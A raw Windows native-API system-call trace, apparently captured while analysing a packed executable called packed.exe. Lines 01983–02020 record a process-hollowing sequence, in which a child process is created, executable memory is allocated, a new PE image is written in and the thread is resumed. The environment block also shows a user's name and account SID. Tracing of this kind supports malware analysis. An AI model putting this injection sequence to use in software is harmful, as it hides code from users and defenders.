 01932  1356   NtQueryValueKey  (108,  (108, "DisableAppCompat", Partial, 20, ... ) , Partial, 20, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01933  1356   NtClose  (108, ... ) == 0x0
 01934  1356   NtQueryVolumeInformationFile  (92, 1240632, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01935  1356   NtOpenMutant  (0x120001, {24, 48, 0x0, 0, 0,  (0x120001, {24, 48, 0x0, 0, 0, "ShimCacheMutex"}, ... 108, ) }, ... 108, ) == 0x0
 01936  1356   NtWaitForSingleObject  (108, 0, {-1000000, -1}, ... ) == 0x0
 01937  1356   NtOpenSection  (0x2, {24, 48, 0x0, 0, 0,  (0x2, {24, 48, 0x0, 0, 0, "ShimSharedMemory"}, ... 112, ) }, ... 112, ) == 0x0
 01938  1356   NtMapViewOfSection  (112, -1, (0x0), 0, 0, {0, 0}, 0, 1, 0, 4, ... (0x8c0000), {0, 0}, 57344, ) == 0x0
 01939  1356   NtQueryInformationFile  (92, 1240596, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 01940  1356   NtQueryInformationFile  (92, 1240636, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01941  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 01942  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 116, ) == 0x0
 01943  1356   NtQueryInformationToken  (116, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 01944  1356   NtClose  (116, ... ) == 0x0
 01945  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01946  1356   NtReleaseMutant  (108, ... 0x0, ) == 0x0
 01947  1356   NtOpenThreadToken  (-2, 0x2000000, 1, ... ) == STATUS_NO_TOKEN
 01948  1356   NtOpenProcessToken  (-1, 0xa, ... 116, ) == 0x0
 01949  1356   NtOpenKey  (0x2000000, {24, 16, 0x40, 0, 0,  (0x2000000, {24, 16, 0x40, 0, 0, "Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 120, ) }, ... 120, ) == 0x0
 01950  1356   NtQueryKey  (120, Basic, 520, ... {LastWrite={0x3a5edea,0x1c74da9}, TitleIdx=0, Name= (120, Basic, 520, ... {LastWrite={0x3a5edea,0x1c74da9}, TitleIdx=0, Name="CodeIdentifierso"}, 46, ) }, 46, ) == 0x0
 01951  1356   NtClose  (120, ... ) == 0x0
 01952  1356   NtOpenKey  (0x2000000, {24, 56, 0x40, 0, 0,  (0x2000000, {24, 56, 0x40, 0, 0, "Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01953  1356   NtOpenSymbolicLinkObject  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\??\U:"}, ... 120, ) }, ... 120, ) == 0x0
 01954  1356   NtQuerySymbolicLinkObject  (120, ...  (120, ... "\Device\WinDfs\U:0000000000009f43", 66, ) , 66, ) == 0x0
 01955  1356   NtClose  (120, ... ) == 0x0
 01956  1356   NtQueryVolumeInformationFile  (92, 1238324, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01957  1356   NtQueryInformationFile  (92, 1238440, 528, Name, ... {status=0x0, info=72}, ) == 0x0
 01958  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01959  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01960  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\UNC\missouri\binaries\work\packed.exe"}, 1237612, ... ) }, 1237612, ... ) == 0x0
 01961  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\UNC\missouri\binaries\"}, 3, 16417, ... 120, {status=0x0, info=1}, ) }, 3, 16417, ... 120, {status=0x0, info=1}, ) == 0x0
 01962  1356   NtQueryDirectoryFile  (120, 0, 0, 0, 1237040, 616, BothDirectory, 1,  (120, 0, 0, 0, 1237040, 616, BothDirectory, 1, "work", 0, ... {status=0x0, info=104}, ) , 0, ... {status=0x0, info=104}, ) == 0x0
 01963  1356   NtClose  (120, ... ) == 0x0
 01964  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\??\UNC\missouri\binaries\work\"}, 3, 16417, ... 120, {status=0x0, info=1}, ) }, 3, 16417, ... 120, {status=0x0, info=1}, ) == 0x0
 01965  1356   NtQueryDirectoryFile  (120, 0, 0, 0, 1237040, 616, BothDirectory, 1,  (120, 0, 0, 0, 1237040, 616, BothDirectory, 1, "packed.exe", 0, ... {status=0x0, info=120}, ) , 0, ... {status=0x0, info=120}, ) == 0x0
 01966  1356   NtClose  (120, ... ) == 0x0
 01967  1356   NtQueryInformationProcess  (-1, DefaultHardErrorMode, 4, ... {process info, class 12, size 4}, 0x0, ) == 0x0
 01968  1356   NtSetInformationProcess  (-1, DefaultHardErrorMode, {process info, class 12, size 4}, 4, ... ) == 0x0
 01969  1356   NtQueryInformationFile  (92, 1240480, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01970  1356   NtCreateSection  (0xf0005, 0x0, {301056, 0}, 2, 134217728, 92, ... 120, ) == 0x0
 01971  1356   NtMapViewOfSection  (120, -1, (0x0), 0, 0, {0, 0}, 301056, 1, 0, 2, ... (0xa50000), {0, 0}, 303104, ) == 0x0
 01972  1356   NtClose  (120, ... ) == 0x0
 01973  1356   NtUnmapViewOfSection  (-1, 0xa50000, ... ) == 0x0
 01974  1356   NtOpenKey  (0x1, {24, 0, 0x40, 0, 0,  (0x1, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers"}, ... 120, ) }, ... 120, ) == 0x0
 01975  1356   NtQueryValueKey  (120,  (120, "LogFileName", Partial, 536, ... ) , Partial, 536, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01976  1356   NtClose  (120, ... ) == 0x0
 01977  1356   NtQueryInformationToken  (116, User, 128, ... {token info, class 1, size 36}, 36, ) == 0x0
 01978  1356   NtQueryInformationToken  (116, 15, 4, ... {token info, class 15, size 4}, 4, ) == 0x0
 01979  1356   NtClose  (116, ... ) == 0x0
 01980  1356   NtQuerySection  (104, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 01981  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\packed.exe"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01982  1356   NtQuerySystemInformation  (71, 4, ... {system info, class 71, size 4}, 0x0, ) == 0x0
 01983  1356   NtCreateProcessEx  (1242404, 2035711, 0, -1, 0, 104, 0, 0, 0, ... ) == 0x0
 01984  1356   NtQueryInformationProcess  (116, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffdd000,AffinityMask=0x1,BasePriority=8,Pid=588,ParentPid=220,}, 0x0, ) == 0x0
 01985  1356   NtReadVirtualMemory  (116, 0x7ffdd008, 4, ...  (116, 0x7ffdd008, 4, ... "\0\0\0@", 0x0, ) , 0x0, ) == 0x0
 01986  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01987  1356   NtReadVirtualMemory  (116, 0x40000000, 4096, ...  (116, 0x40000000, 4096, ... "MZP\0\2\0\0\0\4\0\17\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\32\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\272\20\0\16\37\264\11\315!\270\1L\315!\220\220This program must be run under Win32\15\12$7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0PE\0\0L\1\11\0\31^B*\0\0\0\0\0\0\0\0\340\0\216\201\13\1\2\31\0\200\1\0\0\20\3\0\0\0\0\0\360\223\1\0\0\20\0\0\0\240\1\0\0\0\0@\0\20\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0p\5\0\0\4\0\0\0\0\0\0\2\0\0\0\0\0\20\0\0@\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0@\2\04\21\0\0\0\240\2\0\214\312\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\2\0\334\35\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p\2\0\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\334C\2\0\234\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 4096, ) , 4096, ) == 0x0
 01988  1356   NtReadVirtualMemory  (116, 0x4002a000, 256, ...  (116, 0x4002a000, 256, ... "\0\0\0\0\0\0\0\0\4\0\0\0\0\0\2\0\6\0\0\0 \0\0\200\12\0\0\0h\0\0\200\0\0\0\0\0\0\0\0\4\0\0\0\0\0\7\0\372\17\0\0\230\0\0\200\373\17\0\0\260\0\0\200\374\17\0\0\310\0\0\200\375\17\0\0\340\0\0\200\376\17\0\0\370\0\0\200\377\17\0\0\20\1\0\200\0\20\0\0(\1\0\200\0\0\0\0\0\0\0\0\4\0\0\0\4\0\0\0P\2\0\200@\1\0\200^\2\0\200X\1\0\200v\2\0\200p\1\0\200~\2\0\200\210\1\0\200\0\0\0\0\0\0\0\0\4\0\0\0\0\0\1\0\0\0\0\0\240\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\1\0\0\0\0\0\260\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\1\0\0\0\0\0\300\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\1\0\0\0\0\0\320\1\0\0\0\0\0\0\0\0\0\0", 256, ) , 256, ) == 0x0
 01989  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 01990  1356   NtQueryInformationProcess  (116, Basic, 24, ... {ExitStatus=0x103,PebBaseAddress=0x7ffdd000,AffinityMask=0x1,BasePriority=8,Pid=588,ParentPid=220,}, 0x0, ) == 0x0
 01991  1356   NtAllocateVirtualMemory  (-1, 0, 0, 2440, 4096, 4, ... 9240576, 4096, ) == 0x0
 01992  1356   NtAllocateVirtualMemory  (116, 0, 0, 6432, 4096, 4, ... 65536, 8192, ) == 0x0
 01993  1356   NtWriteVirtualMemory  (116, 0x10000,  (116, 0x10000, "=\0A\0:\0=\0A\0:\0\\0\0\0=\0C\0:\0=\0C\0:\0\\0s\0c\0r\0i\0p\0t\0s\0\0\0=\0U\0:\0=\0U\0:\0\\0\0\0A\0L\0L\0U\0S\0E\0R\0S\0P\0R\0O\0F\0I\0L\0E\0=\0C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0A\0l\0l\0 \0U\0s\0e\0r\0s\0\0\0A\0P\0P\0D\0A\0T\0A\0=\0C\0:\0\\0D\0o\0c\0u\0m\0e\0n\0t\0s\0 \0a\0n\0d\0 \0S\0e\0t\0t\0i\0n\0g\0s\0\\0M\0a\0r\0t\0i\0m\0 \0C\0a\0r\0b\0o\0n\0e\0\\0A\0p\0p\0l\0i\0c\0a\0t\0i\0o\0n\0 \0D\0a\0t\0a\0\0\0A\0T\0L\0_\0I\0N\0C\0_\0P\0A\0T\0H\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\09\00\0~\01\0.\01\08\03\0\\0i\0n\0c\0\0\0A\0T\0L\0_\0I\0N\0C\0_\0R\0O\0O\0T\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\09\00\0~\01\0.\01\08\03\0\\0i\0n\0c\0\0\0A\0T\0L\0_\0L\0I\0B\0_\0P\0A\0T\0H\0=\0C\0:\0\\0W\0I\0N\0D\0D\0K\0\\03\07\0", 6432, ... 0x0, ) , 6432, ... 0x0, ) == 0x0
 01994  1356   NtAllocateVirtualMemory  (116, 0, 0, 2440, 4096, 4, ... 131072, 4096, ) == 0x0
 01995  1356   NtWriteVirtualMemory  (116, 0x20000,  (116, 0x20000, "\0\20\0\0\210\11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\13\0\0\0\26\0\10\2\220\2\0\0\0\0\0\0\334\3\336\3\230\4\0\0$\0&\0x\10\0\0\232\0\234\0\240\10\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$\0&\0<\11\0\0\36\0 \0d\11\0\0\0\0\2\0\204\11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 2440, ... 0x0, ) , 2440, ... 0x0, ) == 0x0
 01996  1356   NtWriteVirtualMemory  (116, 0x7ffdd010,  (116, 0x7ffdd010, "\0\0\2\0", 4, ... 0x0, ) , 4, ... 0x0, ) == 0x0
 01997  1356   NtWriteVirtualMemory  (116, 0x7ffdd1e8,  (116, 0x7ffdd1e8, "\0\0\0\0", 4, ... 0x0, ) , 4, ... 0x0, ) == 0x0
 01998  1356   NtFreeVirtualMemory  (-1, (0x8d0000), 0, 32768, ... (0x8d0000), 4096, ) == 0x0
 01999  1356   NtAllocateVirtualMemory  (116, 0, 0, 1048576, 8192, 4, ... 196608, 1048576, ) == 0x0
 02000  1356   NtAllocateVirtualMemory  (116, 1224704, 0, 20480, 4096, 4, ... 1224704, 20480, ) == 0x0
 02001  1356   NtProtectVirtualMemory  (116, (0x12b000), 4096, 260, ... (0x12b000), 4096, 4, ) == 0x0
 02002  1356   NtCreateThread  (0x1f03ff, 0x0, 116, 1242412, 1242076, 1, ... 120, {588, 440}, ) == 0x0
 02003  1356   NtRequestWaitReplyPort  (24, {168, 196, new_msg, 0, 2147347456, 0, 10964872, 0}  (24, {168, 196, new_msg, 0, 2147347456, 0, 10964872, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0w\0\0\0x\0\0\0L\2\0\0\270\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\0 \0\344\370\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\320\375\177\0\0\0\0\0\0\22\0\0\0\24\0" ... {168, 196, reply, 0, 220, 1356, 75741, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0t\0\0\0x\0\0\0L\2\0\0\270\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\0 \0\344\370\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\320\375\177\0\0\0\0\0\0\22\0\0\0\24\0" )  ... {168, 196, reply, 0, 220, 1356, 75741, 0}  (24, {168, 196, new_msg, 0, 2147347456, 0, 10964872, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0w\0\0\0x\0\0\0L\2\0\0\270\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\0 \0\344\370\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\320\375\177\0\0\0\0\0\0\22\0\0\0\24\0" ... {168, 196, reply, 0, 220, 1356, 75741, 0} "\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0t\0\0\0x\0\0\0L\2\0\0\270\1\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\0 \0\344\370\22\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\320\375\177\0\0\0\0\0\0\22\0\0\0\24\0" )  ) == 0x0
 02004  1356   NtClose  (92, ... ) == 0x0
 02005  1356   NtClose  (104, ... ) == 0x0
 02006  1356   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 02007  1356   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 02008  1356   NtGetContextThread  (120, 1244436, ... ) == 0x0
 02009  1356   NtReadVirtualMemory  (116, 0x7ffdd008, 4, ...  (116, 0x7ffdd008, 4, ... "\0\0\0@", 4, ) , 4, ) == 0x0
 02010  1356   NtAllocateVirtualMemory  (116, 4194304, 0, 12824576, 12288, 64, ... 4194304, 12824576, ) == 0x0
 02011  1356   NtProtectVirtualMemory  (116, (0x400000), 12824576, 64, ... (0x400000), 12824576, 64, ) == 0x0
 02012  1356   NtProtectVirtualMemory  (116, (0x400000), 12824576, 64, ... (0x400000), 12824576, 64, ) == 0x0
 02013  1356   NtWriteVirtualMemory  (116, 0x400000,  (116, 0x400000, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\0\0\0\16\37\272\16\0\264\11\315!\270\1L\315!This program cannot be run in DOS mode.\15\15\12$\0\0\0\0\0\0\0\10\327O,L\266!\177L\266!\177L\266!\177\217\271|\177^\266!\1777\252-\177H\266!\177#\251*\177M\266!\177\317\252/\177H\266!\177#\251+\177G\266!\177#\251%\177I\266!\177L\266 \177\256\266!\177J\225+\177N\266!\177J\225*\177a\266!\177RichL\266!\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0PE\0\0L\1\5\0\232\314\24H\0\0\0\0\0\0\0\0\340\0\16\1\13\1\6\0\0\320\3\0\0\320\277\0\0\0\0\0\216j\3\0\0\20\0\0\0\340\3\0\0\0@\0\0\20\0\0\0\20\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\260\303\0\0\20\0\0\0\0\0\0\2\0\0\0\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\320\302\0\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\302\0d'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\327\302\0\24\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0.tex", 12824576, ... 12824576, ) , 12824576, ... 12824576, ) == 0x0
 02014  1356   NtFlushInstructionCache  (116, 4194304, 12824576, ... ) == 0x0
 02015  1356   NtProtectVirtualMemory  (116, (0x7ffdd008), 4, 64, ... (0x7ffdd000), 4096, 4, ) == 0x0
 02016  1356   NtProtectVirtualMemory  (116, (0x7ffdd000), 4096, 4, ... (0x7ffdd000), 4096, 64, ) == 0x0
 02017  1356   NtWriteVirtualMemory  (116, 0x7ffdd008,  (116, 0x7ffdd008, "\0\0@\0", 4, ... 4, ) , 4, ... 4, ) == 0x0
 02018  1356   NtFlushInstructionCache  (116, 2147340296, 4, ... ) == 0x0
 02019  1356   NtSetContextThread  (120, 1244436, ... ) == 0x0
 02020  1356   NtResumeThread  (120, ... 1, ) == 0x0
 02021  1356   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 02022  1356   NtDelayExecution  (0, {-5000000, -1}, ... ) == 0x0
 02023  1356   NtFreeVirtualMemory  (-1, (0x7eab0000), 0, 32768, ... (0x7eab0000), 12845056, ) == 0x0
 02024  1356   NtFreeVirtualMemory  (-1, (0x7ff00000), 0, 32768, ... (0x7ff00000), 393216, ) == 0x0
 02025  1356   NtFreeVirtualMemory  (-1, (0x7ff60000), 0, 32768, ... (0x7ff60000), 327680, ) == 0x0
 02026  1356   NtGdiDeleteObjectApp  (-1442314666, ... ) == 0x1
 02027  1356   NtQueryVirtualMemory  (-1, 0x40013148, Basic, 28, ... {BaseAddress=0x40013000,AllocationBase=0x40000000,AllocationProtect=0x80,RegionSize=0x7000,State=0x1000,Protect=0x20,Type=0x1000000,}, 28, ) == 0x0
 02028  1356   NtClearEvent  (76, ... ) == 0x0
 02029  1356   NtClearEvent  (76, ... ) == 0x0
 02030  1356   NtClose  (76, ... ) == 0x0
 02031  1356   NtClose  (80, ... ) == 0x0
 02032  1356   NtClose  (72, ... ) == 0x0
 02033  1356   NtFreeVirtualMemory  (-1, (0x910000), 0, 32768, ... (0x910000), 1310720, ) == 0x0
 02034  1356   NtFreeVirtualMemory  (-1, (0x7fea0000), 0, 32768, ... (0x7fea0000), 393216, ) == 0x0
 02035  1356   NtTerminateProcess  (0, 0, ... ) == 0x0
 02036  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0xa,}, 4, ... ) == 0x0
 02037  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0xb,}, 4, ... ) == 0x0
 02038  1356   NtClose  (96, ... ) == 0x0
 02039  1356   NtClose  (100, ... ) == 0x0
 02040  1356   NtClose  (88, ... ) == 0x0
 02041  1356   NtSetInformationThread  (-2, ZeroTlsCell, {ZeroTlsCell=0x9,}, 4, ... ) == 0x0
 02042  1356   NtUnmapViewOfSection  (-1, 0x860000, ... ) == 0x0
 02043  1356   NtClose  (68, ... ) == 0x0
 02044  1356   NtGdiDeleteObjectApp  (605029605, ... ) == 0x1
 02045  1356   NtUserGetProcessWindowStation  (... ) == 0x1c
 02046  1356   NtUserBuildNameList  (28, 522, 1338240, 1244132, ... ) == 0x0
 02047  1356   NtUserGetProcessWindowStation  (... ) == 0x1c
 02048  1356   NtUserOpenDesktop  ({24, 28, 0x40, 0, 0,  ({24, 28, 0x40, 0, 0, "Default"}, 1, 0x41, ... ) }, 1, 0x41, ... ) == 0x44
 02049  1356   NtUserBuildHwndList  (68, 0, 0, 0, 64, ... (0x1a00f4, 0x5009e, 0x400fa, 0x10074, 0x10070, 0x10080, 0x10084, 0x30048, 0x10072, 0x20052, 0x5009c, 0x1401b6, 0xc01d2, 0xd0102, 0x500a2, 0xd011a, 0x10090, 0x100d0, 0x200b0, 0x100cc, 0x13010c, 0x16012c, 0x7015a, 0xd01c8, 0xe01ac, 0xc01d0, 0xa01cc, 0x3014c, 0x1011c, 0x100e6, 0x100d6, 0x100d2, 0x100ca, 0x100c8, 0x100ba, 0x100ae, 0x100ac, 0x300a6, 0x10078, 0x30062, 0x50036, 0x5005c, 0x100be, 0x400fe, 0x10092, 0x10086, 0x40034, 0x50050, 0x1013c, 0x10120, 0x100c2, 0x100bc, 0x2014e, 0x100d8, 0x100b6, 0x100b8, 0x100b4, 0x100c0, 0x1009a, 0x5005e, 0x1, ), 61, ) == 0x0
 02050  1356   NtUserValidateHandleSecure  (1704180, ... ) == 0x1
 02051  1356   NtUserQueryWindow  (1704180, 0, ... ) == 0x6b8
 02052  1356   NtUserQueryWindow  (1704180, 1, ... ) == 0x6d4
 02053  1356   NtUserValidateHandleSecure  (1704180, ... ) == 0x1
 02054  1356   NtUserValidateHandleSecure  (327838, ... ) == 0x1
 02055  1356   NtUserQueryWindow  (327838, 0, ... ) == 0x6b8
 02056  1356   NtUserQueryWindow  (327838, 1, ... ) == 0x6d4
 02057  1356   NtUserValidateHandleSecure  (327838, ... ) == 0x1
 02058  1356   NtUserValidateHandleSecure  (262394, ... ) == 0x1
 02059  1356   NtUserQueryWindow  (262394, 0, ... ) == 0x6b8
 02060  1356   NtUserQueryWindow  (262394, 1, ... ) == 0x6d4
 02061  1356   NtUserValidateHandleSecure  (262394, ... ) == 0x1
 02062  1356   NtUserBuildHwndList  (0, 262394, 1, 0, 64, ... (0x80064, 0x60068, 0x6006c, 0x50094, 0x50096, 0x60066, 0x7006a, 0x90058, 0x6006e, 0x5008a, 0x50088, 0x500a0, 0x1, ), 13, ) == 0x0
 02063  1356   NtUserValidateHandleSecure  (524388, ... ) == 0x1
 02064  1356   NtUserQueryWindow  (524388, 0, ... ) == 0x6b8
 02065  1356   NtUserQueryWindow  (524388, 1, ... ) == 0x6d4
 02066  1356   NtUserValidateHandleSecure  (393320, ... ) == 0x1
 02067  1356   NtUserQueryWindow  (393320, 0, ... ) == 0x6b8
 02068  1356   NtUserQueryWindow  (393320, 1, ... ) == 0x6d4
 02069  1356   NtUserValidateHandleSecure  (393324, ... ) == 0x1
 02070  1356   NtUserQueryWindow  (393324, 0, ... ) == 0x6b8
 02071  1356   NtUserQueryWindow  (393324, 1, ... ) == 0x6d4
 02072  1356   NtUserValidateHandleSecure  (327828, ... ) == 0x1
 02073  1356   NtUserQueryWindow  (327828, 0, ... ) == 0x6b8
 02074  1356   NtUserQueryWindow  (327828, 1, ... ) == 0x6d4
 02075  1356   NtUserValidateHandleSecure  (327830, ... ) == 0x1
 02076  1356   NtUserQueryWindow  (327830, 0, ... ) == 0x6b8
 02077  1356   NtUserQueryWindow  (327830, 1, ... ) == 0x6d4
 02078  1356   NtUserValidateHandleSecure  (393318, ... ) == 0x1
 02079  1356   NtUserQueryWindow  (393318, 0, ... ) == 0x6b8
 02080  1356   NtUserQueryWindow  (393318, 1, ... ) == 0x6d4
 02081  1356   NtUserValidateHandleSecure  (458858, ... ) == 0x1
 02082  1356   NtUserQueryWindow  (458858, 0, ... ) == 0x6b8
 02083  1356   NtUserQueryWindow  (458858, 1, ... ) == 0x6d4
 02084  1356   NtUserValidateHandleSecure  (589912, ... ) == 0x1
 02085  1356   NtUserQueryWindow  (589912, 0, ... ) == 0x6b8
 02086  1356   NtUserQueryWindow  (589912, 1, ... ) == 0x6d4
 02087  1356   NtUserValidateHandleSecure  (393326, ... ) == 0x1
 02088  1356   NtUserQueryWindow  (393326, 0, ... ) == 0x6b8
 02089  1356   NtUserQueryWindow  (393326, 1, ... ) == 0x6d4
 02090  1356   NtUserValidateHandleSecure  (327818, ... ) == 0x1
 02091  1356   NtUserQueryWindow  (327818, 0, ... ) == 0x6b8
 02092  1356   NtUserQueryWindow  (327818, 1, ... ) == 0x6d4
